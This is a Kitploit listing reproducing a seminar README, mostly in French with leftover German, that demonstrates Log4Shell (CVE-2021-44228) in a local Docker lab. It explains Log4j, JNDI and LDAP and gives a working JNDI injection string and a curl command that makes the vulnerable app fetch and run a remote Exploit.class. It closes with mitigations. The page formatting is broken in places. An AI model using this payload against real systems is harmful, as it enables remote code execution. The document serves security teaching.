Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hka-seminar-log4shell — Démonstration pratique de la vulnérabilité Log4Shell (CVE-2021-44228) | Kitploit
Outils/GitHubGitHub/fabioeletto/hka-seminar-log4shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Démonstration pratique de la vulnérabilité Log4Shell (CVE-2021-44228)

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Travail de séminaire - Démonstration de la vulnérabilité Log4Shell (CVE-2021-44228)

Avis de sécurité

Ce dépôt sert exclusivement à des fins éducatives et de démonstration dans le cadre d'un travail de séminaire lié à la sécurité. N'utilisez pas ce code dans des environnements de production ou contre des systèmes sans autorisation explicite. La configuration vise à renforcer la sensibilisation à la sécurité et à montrer comment des vulnérabilités complexes peuvent apparaître lorsque des fonctionnalités apparemment inoffensives comme la journalisation, la résolution de noms et le chargement dynamique de classes sont combinées.

Table des matières

  • 1. Description du projet

    • 1.1 Objectif du travail de séminaire
    • 1.2 Aperçu de la démonstration
  • 2. Qu'est-ce que Log4Shell ?

  • 3. Composants techniques en détail

    • 3.1 Log4j - Fonctionnement
    • 3.2 JNDI - Mécanisme de lookup
    • 3.3 LDAP - Structure et rôle
    • 3.4 Déroulement général de Log4Shell
  • 4. Structure du projet et configuration

    • 4.1 Aperçu des répertoires
    • 4.2 Prérequis
    • 4.3 Configuration
  • 5. Démo du projet

  • 6. Mesures de protection

  • 7. Conclusion

  • 8. Sources

1. Description du projet

1.1 Objectif du travail de séminaire

L'objectif de ce travail de séminaire est de fournir une compréhension approfondie de la faille de sécurité Log4Shell (CVE-2021-44228), révélée en décembre 2021 et classée parmi les failles de sécurité les plus critiques de ces dernières années. Ce travail explique à la fois les bases théoriques et présente une démonstration pratique de la vulnérabilité.

1.2 Aperçu de la démonstration

Pour illustrer concrètement la faille de sécurité Log4Shell, ce dépôt met en place un environnement isolé et conteneurisé qui reproduit de manière reproductible le déroulement complet de l'attaque. La démonstration repose sur trois composants centraux :

  • vulnerable-app : Une application Spring Boot intentionnellement vulnérable utilisant Log4j en version 2.14.1. Elle journalise l'en-tête User-Agent de la requête HTTP, que les attaquants peuvent manipuler pour exploiter la vulnérabilité.
  • ldap-server : Un fork de l'outil bien connu marshalsec, qui agit comme serveur LDAP. Ce serveur est sous le contrôle de l'attaquant et fournit une référence vers une classe Java malveillante qui sera exécutée ultérieurement.
  • payload-server : Un simple serveur HTTP qui distribue une classe Java malveillante (Exploit.class). Comme le serveur LDAP, ce serveur est sous le contrôle de l'attaquant.

Remarque : Des informations détaillées sur la configuration et l'exécution de la démonstration se trouvent dans les sections 4. Structure du projet et configuration et 5. Démo du projet.

2. Qu'est-ce que Log4Shell ?

Log4Shell est le nom d'une faille de sécurité critique dans la bibliothèque Java Log4j, portant la référence CVE-2021-44228. Elle permet à un attaquant d'exécuter du code arbitraire sur un serveur distant avec un effort minimal (Remote Code Execution, ou RCE).

La vulnérabilité affecte Log4j dans les versions 2.0 à 2.14.1 et est si grave qu'elle a été classée au niveau de risque le plus élevé par de nombreuses autorités de sécurité, dont le BSI (Office fédéral allemand de la sécurité des technologies de l'information).

Log4Shell est particulièrement dangereuse car ...

  • Log4j est extrêmement répandu. Il est utilisé des serveurs de jeux aux applications d'entreprise.
  • aucune authentification n'est nécessaire, tout attaquant externe anonyme peut potentiellement causer des dommages.
  • le vecteur d'attaque est trivial, il suffit souvent d'envoyer une chaîne de caractères manipulée à l'application.
  • la fonctionnalité de Log4j permettant d'exploiter cette vulnérabilité est activée par défaut.

La cause fondamentale réside dans une fonctionnalité de Log4j qui permet de charger des contenus dynamiques dans les messages de journal via ce que l'on appelle des lookups. Combinée à JNDI (Java Naming and Directory Interface) et au protocole LDAP (Lightweight Directory Access Protocol), cette fonctionnalité permet de charger et d'exécuter des classes Java malveillantes distantes.

La découverte et la publication de la vulnérabilité ont déclenché une onde de choc mondiale en matière de sécurité. De nombreux systèmes ont dû être immédiatement patchés ou mis hors ligne. Par la suite, d'autres vulnérabilités connexes (par ex. CVE-2021-45046) ont été révélées, ce qui montre à quel point le problème était profond et dangereux.

Dans ce qui suit, les technologies impliquées et leur interaction sont expliquées en détail afin de développer une meilleure compréhension de la vulnérabilité.

3. Composants techniques en détail

3.1 Log4j - Fonctionnement

Log4j est une bibliothèque créée par Apache pour journaliser les événements dans les applications Java. La journalisation est un outil central du développement logiciel pour surveiller les systèmes ou analyser les erreurs. Log4j est l'un des frameworks de journalisation les plus connus et les plus utilisés de l'écosystème Java, employé aussi bien dans de petites applications que dans de grands systèmes d'entreprise.

Pourquoi journaliser ?

Lorsqu'un programme s'exécute, les événements suivants se produisent par exemple :

  • Requêtes utilisateur
  • changements d'état internes
  • messages d'erreur

Ces événements peuvent être documentés à l'aide de journaux (logs), généralement sous forme de sortie texte dans la console, dans des fichiers ou via des protocoles réseau vers des serveurs de logs centraux. Grâce à une journalisation judicieuse, il est possible de retracer ce qu'une application a fait et à quel moment.

Qu'offre Log4j ?

Log4j offre une infrastructure flexible et hautement configurable pour la génération et le traitement des messages de journal. Parmi les fonctions centrales figurent :

  • Niveaux de log : Il existe différents degrés d'importance (par ex. DEBUG, INFO, WARN, ERROR) qui permettent de contrôler le niveau de détail de la journalisation.
  • Appenders : Les sorties de journal peuvent être dirigées vers différentes destinations (par ex. console, fichier ou serveurs distants).
  • Layouts : Les layouts permettent de définir le format du message de journal (par ex. horodatage, thread, message).

D'autres fonctionnalités pertinentes pour ce travail de séminaire sont traitées dans les sections suivantes, notamment la fonctionnalité de placeholders et la fonctionnalité de lookup.

Exemple simple```java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Example { private static final Logger logger = LogManager.getLogger();

root@kitploit:~
public static void main(String[] args) {
    logger.info("Starte Anwendung...");
}

}

root@kitploit:~
Dans cet exemple simple, une instance de logger est créée ou récupérée si elle existe déjà. Ensuite, un message de journal est émis au niveau `INFO`. Log4j se charge du formatage et de la sortie du message, en fonction de la configuration. Un exemple de configuration pourrait ressembler à ceci :```xml
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Cette configuration définit un appender qui affiche les messages de journal au format Datum Uhrzeit Log-Level Loggername - Nachricht sur la console. Cet appender est ensuite assigné au logger racine, qui traite tous les messages de journal à partir du niveau INFO.

La sortie pourrait alors ressembler à ceci :``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...

root@kitploit:~
Passons maintenant aux fonctionnalités spécifiques de Log4j les plus pertinentes pour la vulnérabilité Log4Shell.

#### Placeholders dans les messages de log

Une fonctionnalité particulièrement utile de Log4j est la prise en charge des **placeholders** dans les messages de log. Ainsi, du contenu dynamique peut être inséré dans la sortie de log au moment de l'exécution :```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);

Lors de l'exécution, {} est remplacé par la valeur réelle de la variable username. Cela donne la sortie suivante :```text "Benutzer angemeldet: Alice"

root@kitploit:~
#### Expressions dynamiques appelées lookups

En plus des simples espaces réservés, Log4j offre également la possibilité de résoudre des expressions plus complexes directement dans le message de journal. Cette fonction s'appelle **Lookup** : elle permet d'insérer dynamiquement des valeurs à l'exécution (par ex. variables d'environnement, informations système ou valeurs de configuration).

Exemples de telles expressions dynamiques :

- `${env:HOME}` - renvoie la valeur de la variable d'environnement `HOME`. Sous Linux / macOS, ce serait par ex. `/home/username`.
- `${docker:...}` - pourrait fournir des informations sur le conteneur Docker dans lequel l'application s'exécute.
- `${jndi:...}` - effectue une recherche JNDI pour charger des ressources internes ou externes.

Dans la section suivante, la fonctionnalité JNDI sera examinée plus en détail, car elle joue un rôle central dans la vulnérabilité Log4Shell.

### 3.2 JNDI - Mécanisme de lookup

**JNDI** signifie _Java Naming and Directory Interface_ et est une API Java standardisée qui permet d'accéder à des **services de nommage et d'annuaire**. Avec JNDI, les applications Java peuvent référencer des ressources non pas directement via des chemins techniques, mais via des noms symboliques.

Un usage classique de JNDI est la recherche de connexions à une base de données, que vous voyez ici :```java
public class JndiExample {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
        // Datenbankverbindung verwenden
    }
}

Zuerst wird ein InitialContext erstellt, der den Einstiegspunkt für die Namensauflösung mithilfe von JNDI darstellt. Anschließend wird über die Methode lookup eine Ressource gesucht. In diesem Fall eine Datenquelle (DataSource) mit dem symbolischen Namen java:/comp/env/jdbc/myDB.

Welche Vorteile bietet JNDI?

  • Entkopplung von Anwendung und Infrastruktur: Konfigurationen müssen nicht im Code hinterlegt werden, sondern können zentral auf einem Server verwaltet werden.
  • Wiederverwendbarkeit und Portabilität: Eine Anwendung kann problemlos in mehreren Umgebungen (z. B. Entwicklung, Test, Produktion) laufen, ohne dass der Code angepasst werden muss. Man muss lediglich die jeweiligen Konfigurationsdateien anpassen.
  • Flexibilität: JNDI ist protokollunabhängig, es wird lediglich eine Schnittstelle bereitgestellt und die eigentliche Kommunikation übernimmt ein sogenannter Service Provider im Hintergrund. Dadurch kann JNDI auf verschiedene Dienste zugreifen, nicht nur auf LDAP, sondern auch auf RMI, DNS, CORBA usw.

Aufbau von JNDI

JNDI Aufbau

Die Java-Anwendung nutzt die protokollunabhängige Schnittstelle von JNDI, diese enthält Klassen wie InitialContext, mit der Methode lookup. Die API ist immer gleich, egal ob man LDAP, DNS, usw. verwendet. Der Naming Manager fungiert als Vermittler und wählt den passenden Service Provider aus, der die eigentliche Kommunikation übernimmt. Beim JNDI SPI (Service Provider Interface) handelt es sich um eine Sammlung von Klassen, die die JNDI-Funktionalität für verschiedene Protokolle implementieren. In unserem Fall ist der relevante Service Provider LDAP.

Im nächsten Abschnitt schauen wir den Service Provider LDAP genauer an.

3.3 LDAP - Aufbau und Rolle

LDAP steht für Lightweight Directory Access Protocol und ist ein standardisiertes Netzwerkprotokoll, das den Zugriff auf sogenannte Verzeichnisdienste ermöglicht. Es wurde ursprünglich als schlanke Alternative zu X.500 entwickelt und ist heute ein Standard in vielen Unternehmensnetzwerken, besonders für zentrale Benutzer- und Rechteverwaltung.

Was ist ein Verzeichnisdienst?

Ein Verzeichnisdienst ist eine strukturierte Datenbank, die Informationen in hierarchischer Form speichert. Anders als relationale Datenbanken ist ein Verzeichnis:

  • eher leseorientiert
  • stark hierarchisch aufgebaut (wie ein Dateisystem)
  • für schnellen Zugriff auf Identitäts- oder Konfigurationsdaten optimiert

Aufbau eines LDAP-Verzeichnisses

LDAP Baum

Wie man auf dem Bild sieht, ist ein LDAP-Verzeichnis in einer baumartigen Struktur organisiert. Auf der Root-Ebene befinden sich die Domain Components (dc). Darunter können Organizational Units (ou) liegen, die weitere Unterteilungen darstellen, wie zum Beispiel Users. Für einzelne Benutzer oder Objekte gibt es dann Common Names (cn), die den spezifischen Eintrag identifizieren und verschiedene Attribute enthalten können.

Bedeutung:

  • dn: Distinguished Name
  • dc: Domain Component
  • ou: Organizational Unit
  • cn: Common Name

Schauen wir uns nun an, wie LDAP angesprochen wird und welche Rolle es in der Log4Shell-Sicherheitslücke spielt.

Wie wird LDAP angesprochen?

Man kann in LDAP auch Referenzen auf externe Klassen speichern, die dann bei Bedarf nachgeladen werden können. Dies geschieht über spezielle Attribute wie javaClassName und javaCodeBase. Diese Attribute können auf eine URL verweisen, von der eine Java-Klasse geladen werden soll.

Mit der folgenden URL können wir beispielsweise ein Objekt abfragen, das auf eine Java-Klasse verweist:``` ldap://ldap-server:1389/Exploit

root@kitploit:~
![Entrée LDAP](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)

Comme on peut le voir sur l'image, l'entrée LDAP contient un attribut `javaClassName` qui fait référence à la classe `Exploit`. L'attribut `javaCodeBase` spécifie l'URL à partir de laquelle la classe doit être chargée. Dans ce cas, il s'agit d'un serveur HTTP à l'adresse `http://payload-server/`, qui fournit la classe `Exploit.class`.

Nous avons maintenant examiné en détail toutes les composantes techniques. La section suivante décrit le déroulement général de la vulnérabilité Log4Shell, afin de comprendre comment ces technologies interagissent et quel vecteur d'attaque en résulte.

### 3.4 Déroulement général de Log4Shell

Après avoir examiné individuellement les trois technologies impliquées — **Log4j** comme framework de journalisation, **JNDI** comme interface de service d'annuaire et **LDAP** comme service d'annuaire concret — on comprend à quel point leur combinaison peut être dangereuse si aucune mesure de sécurité n'a été prise.

Dans les versions de Log4j jusqu'à 2.14.1, il était possible de faire évaluer des **Lookups** directement dans les messages de journal. Cela permettait d'intégrer des requêtes JNDI via LDAP, qui pouvaient ensuite charger et exécuter des classes Java arbitraires depuis un serveur distant, sans avoir explicitement activé cette fonctionnalité.

#### Scénario concret en interaction :

Mettons maintenant en pratique ce que nous venons d'apprendre dans un exemple concret. Dans un premier temps, nous lançons un lookup JNDI avec l'expression suivante :```text
${jndi:...}

Utilisons maintenant le fournisseur de services LDAP pour charger une classe Java distante ldap://ldap-server:1389/Exploit. L'ensemble donne la chaîne de caractères suivante :```text ${jndi:ldap://ldap-server:1389/Exploit}

root@kitploit:~
Il ne reste plus qu'à un attaquant de faire en sorte que cette chaîne de caractères aboutisse dans un message de journal (log), par exemple en manipulant un en-tête HTTP.

![Déroulement de Log4Shell](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)

Comme on le voit sur l'image, l'attaquant se trouve à gauche, hébergeant son propre serveur LDAP et son serveur de payload. À droite se trouve l'application vulnérable avec Log4j version 2.14.1. Le déroulement de l'attaque est le suivant :

1. Un attaquant envoie une requête HTTP à l'application et insère la chaîne manipulée montrée ci-dessus, par exemple dans l'en-tête `User-Agent` :   ```http
   User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
  1. L'application journalise l'en-tête User-Agent : ```java logger.info("User-Agent: {}", request.getHeader("User-Agent"));
    root@kitploit:~

Log4j détecte ${jndi:...} et exécute automatiquement un JNDI-Lookup via le protocole ldap spécifié

  1. Le fournisseur de services LDAP est ensuite appelé pour résoudre l’URL spécifiée ldap://ldap-server:1389/Exploit.

  2. Le serveur LDAP répond avec une référence à une classe Java (Exploit.class) externe, qui se trouve sur le serveur suivant : ``` http://payload-server:8000/Exploit.class

    root@kitploit:~
  3. L'application envoie une requête au serveur de payload pour charger Exploit.class.

  4. Le serveur de payload répond avec la classe Java Exploit.class. Ensuite, cette classe est exécutée sans aucune validation. L'attaquant a ainsi un contrôle total sur le code exécuté sur le serveur vulnérable.

Pourquoi cela fonctionne-t-il ?

Parce que :

  • Log4j interprète le message de journal au lieu de simplement l'afficher
  • JNDI autorise en interne une connexion à des fournisseurs de services arbitraires
  • le class loader exécute du code externe sans restriction.

L'interaction entre les lookups dynamiques dans Log4j, la résolution flexible de noms via JNDI et le protocole LDAP crée une surface d'attaque inattendue. Ce qui était à l'origine conçu comme une fonctionnalité de configuration puissante est devenu une porte d'entrée pour l'exécution de code à distance.

La section suivante décrit la structure du projet et la configuration de la démo pour exécuter la vulnérabilité localement.

4. Structure du projet et configuration

4.1 Aperçu des répertoires

La structure du projet reflète les trois composants centraux :```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...

root@kitploit:~
### 4.2 Prérequis

Pour exécuter la démo Log4Shell localement, les prérequis suivants sont nécessaires :

#### Docker & Docker Compose

Toute l'infrastructure est basée sur des conteneurs. Docker garantit que chaque composant (vulnerable-app, ldap-server, payload-server) s'exécute dans un environnement isolé.

- **Docker** :  
  Installation via [https://www.docker.com/get-started](https://www.docker.com/get-started)

- **Docker Compose** (déjà inclus avec Docker Desktop)  
  Alternative installable via [https://docs.docker.com/compose/](https://docs.docker.com/compose/)

#### cURL

Pour exécuter l'attaque depuis la ligne de commande, l'outil `curl` peut être utilisé :

- Déjà préinstallé sur Linux/macOS
- Sous Windows via [https://curl.se/](https://curl.se/) ou inclus dans Git Bash

> **Remarque :** L'application et tous les serveurs inclus s'exécutent localement sur votre machine et communiquent uniquement au sein d'un réseau Docker isolé (`log4shell-network`). Aucune connexion à des serveurs externes n'est nécessaire ni établie.

### 4.3 Mise en place

Cette section décrit comment configurer et démarrer l'environnement localement.

#### Étape 1 : Cloner le dépôt```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell

Étape 2 : Créer et démarrer les conteneurs

Avec Docker Compose, tous les services requis peuvent être démarrés avec une seule commande :```bash docker-compose up --build

root@kitploit:~
`docker-compose up --build` effectue :

- Les images pour `vulnerable_app`, `ldap_server` et `payload_server` sont construites
- Les trois services sont démarrés
- Ils communiquent via un réseau Docker interne commun (`log4shell-network`)

Après un démarrage réussi, l'application est accessible via le point de terminaison suivant :```
http://localhost:8080

Log-Ausgaben und Ereignisse erscheinen live in der Konsole. Die Container laufen, solange das Terminalfenster geöffnet ist (oder der Prozess im Hintergrund läuft).

Remarque : Assurez-vous qu’aucun autre service n’écoute sur les ports 8080, 1389 ou 8000 afin d’éviter tout conflit.

Si vous souhaitez arrêter les conteneurs, vous pouvez exécuter docker-compose down. Cela arrêtera et supprimera tous les conteneurs en cours d’exécution, mais les images seront conservées.

5. Démo du projet

Cette section montre comment déclencher intentionnellement la vulnérabilité Log4Shell dans l’environnement de démonstration fourni. Tous les composants démarrés précédemment travaillent ensemble :

  • L’vulnerable-app journalise l’en-tête User-Agent avec Log4j
  • Le ldap-server renvoie une référence manipulée
  • Le payload-server fournit la classe Java proprement dite (Exploit.class)

Attaque pas à pas

Pour exécuter la démo, vous avez besoin de deux fenêtres de console. Commencez par démarrer l’environnement avec docker-compose up --build dans un terminal, si ce n’est pas déjà fait. Dans un deuxième terminal, exécutez ensuite les étapes suivantes :

  1. Vérifiez que le fichier n’existe pas encore :

    Comme il s’agit d’une démo, l’exploit se contente de créer un fichier vide pour démontrer l’exécution réussie. Vous pouvez le constater dans la classe payload-server/Exploit.java. Pour vérifier que le fichier n’existe pas encore, exécutez la commande suivante : ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

Si le fichier n'existe pas, un message d'erreur tel que No such file or directory devrait apparaître. Cela confirme que l'exploit n'a pas encore été exécuté.

  1. Envoyez la chaîne manipulée à l'application: ```bash curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
    root@kitploit:~

Explication du payload :

  • ${jndi:...} : Log4j interprète automatiquement cette expression et effectue une recherche JNDI.
  • ldap://ldap-server:1389 : Se connecte au serveur LDAP qui s'exécute dans le réseau Docker.
  • /Exploit : Nom de l'entrée LDAP qui pointe vers la classe malveillante.
  • http://localhost:8080 : L'URL de l'application vulnérable à laquelle vous envoyez la requête pour déclencher la vulnérabilité Log4j.
  1. Que se passe-t-il en arrière-plan ?

    Sortie console Log4Shell

    • L'application reçoit la requête et souhaite journaliser l'en-tête User-Agent
    • Log4j analyse l'en-tête User-Agent et effectue une recherche JNDI via LDAP
    • Le serveur LDAP pointe vers une Exploit.class distante fournie par le serveur de payload
    • L'application charge la classe depuis le serveur de payload et l'exécute
    • À la fin, le message de log d'origine est journalisé avec le contenu dynamique

Remarque : Comme déjà mentionné, cette démo crée simplement un fichier vide pour démontrer l'exécution réussie. Dans de vrais scénarios d'attaque, du code arbitraire pourrait être exécuté !

  1. Vérifier les conséquences de l'attaque

    Vous pouvez maintenant vérifier à nouveau si le fichier /tmp/remote_code_execution a été créé dans le conteneur : ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

Si l'attaque a réussi, vous devriez voir la sortie suivante : ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution

root@kitploit:~
Avec une seule ligne de journal manipulée, un processus complet d'exécution de code à distance est déclenché, c'est exactement ce qui rend Log4Shell si dangereux. Cette démo montre comment l'interaction de **Log4j**, **JNDI** et **LDAP** peut mener à l'exploitation.

## 6. Mesures de protection

La vulnérabilité Log4Shell a montré à quel point les applications modernes peuvent être compromises par des fonctionnalités apparemment inoffensives. Pour protéger efficacement les systèmes contre de telles attaques, les mesures suivantes devraient être mises en œuvre :

- **Mettre à jour la version de Log4j (au moins 2.17.1)**

La mesure la plus importante est la **mise à niveau vers une version de Log4j ≥ 2.17.1**, car ce n'est qu'à partir de cette version que toutes les vulnérabilités connues (y compris les DoS et les exploits de configuration) ont été corrigées. Les versions antérieures restent vulnérables et ne devraient plus être utilisées !

- **Désactiver les recherches JNDI**

Si une mise à jour complète n'est pas possible, les **recherches JNDI devraient être désactivées**. Cela peut être réalisé dans le fichier `log4j2.properties` en définissant la configuration suivante :  ```properties
log4j2.formatMsgNoLookups=true

Cette configuration empêche Log4j d’évaluer les recherches JNDI dans les messages de journal. Cela réduit considérablement la surface d’attaque. Cependant, il ne s’agit que d’un contournement temporaire, car d’autres vulnérabilités peuvent subsister (DoS, exploits de configuration).

  • Valider les entrées

    Toutes les entrées utilisateur doivent être validées et assainies avant d’être utilisées dans les messages de journal. En particulier, les expressions dynamiques telles que ${jndi:...} ne doivent pas être reprises directement.

  • Restreindre les connexions réseau sortantes

    Un élément central de l’exploit était l’accès sans entrave à des serveurs externes contrôlés par l’attaquant. Les systèmes doivent être configurés pour ne pas pouvoir atteindre n’importe quelle cible externe, par exemple via des pare-feu ou des politiques réseau. En particulier, l’accès à des cibles LDAP inconnues depuis l’application doit être bloqué.

7. Conclusion

La faille de sécurité Log4Shell montre de manière impressionnante combien il est important de ne pas se fier uniquement à la sécurité de son propre code, mais aussi de choisir et de comprendre soigneusement les bibliothèques et frameworks utilisés. Dans ce cas, une bibliothèque de journalisation apparemment inoffensive (Log4j) a conduit à une vulnérabilité d’exécution de code à distance. On voit ainsi que les dépendances peuvent également devenir une porte d’entrée pour des exploits. Il faut toujours se demander si l’on a réellement besoin d’une bibliothèque externe ou si une fonction peut être implémentée sans dépendances supplémentaires.

Un autre point important est le thème de la complexité cachée. Des fonctions comme ${env:HOME} dans un message de journal semblent inoffensives, mais cachent des mécanismes complexes en arrière-plan, comme les recherches dynamiques. Cela peut introduire insidieusement un comportement dangereux. Il est préférable d’utiliser des solutions explicites et transparentes, par exemple System.getenv("HOME"), afin de garder le contrôle et de pouvoir comprendre ce qui se passe.

De plus, un principe général mais souvent négligé s’applique : Ne jamais traiter des entrées utilisateur sans les vérifier. En particulier pour les opérations sensibles à la sécurité comme la journalisation, les accès à la base de données ou les commandes système, les entrées doivent être validées et assainies.

Enfin, cet incident montre à quel point il peut être dangereux que des fonctions puissantes comme les recherches JNDI soient activées par défaut. Si cette fonction n’avait pas été activée par défaut dans Log4j, seule une petite partie des systèmes aurait été concernée.

Les principaux enseignements :

  • Des failles de sécurité peuvent se cacher même dans des bibliothèques apparemment inoffensives.
  • Réfléchir à la réelle nécessité des bibliothèques externes.
  • Éviter la complexité cachée.
  • Ne jamais traiter des entrées utilisateur non vérifiées.
  • Les fonctions puissantes comme les recherches JNDI ne devraient pas être activées par défaut.

8. Sources

  • CVE-2021-44228 – National Vulnerability Database (NVD)
  • Alerte de cybersécurité du BSI concernant Log4Shell
  • Documentation Log4j
  • Concepts JNDI
  • Vue d’ensemble JNDI
  • Introduction à LDAP (RFC 4511)
  • LDAP
  • Log4Shell
  • Vidéo Log4Shell Partie 1
  • Vidéo Log4Shell Partie 2
  • Fork marshalsec
Télécharger l’outil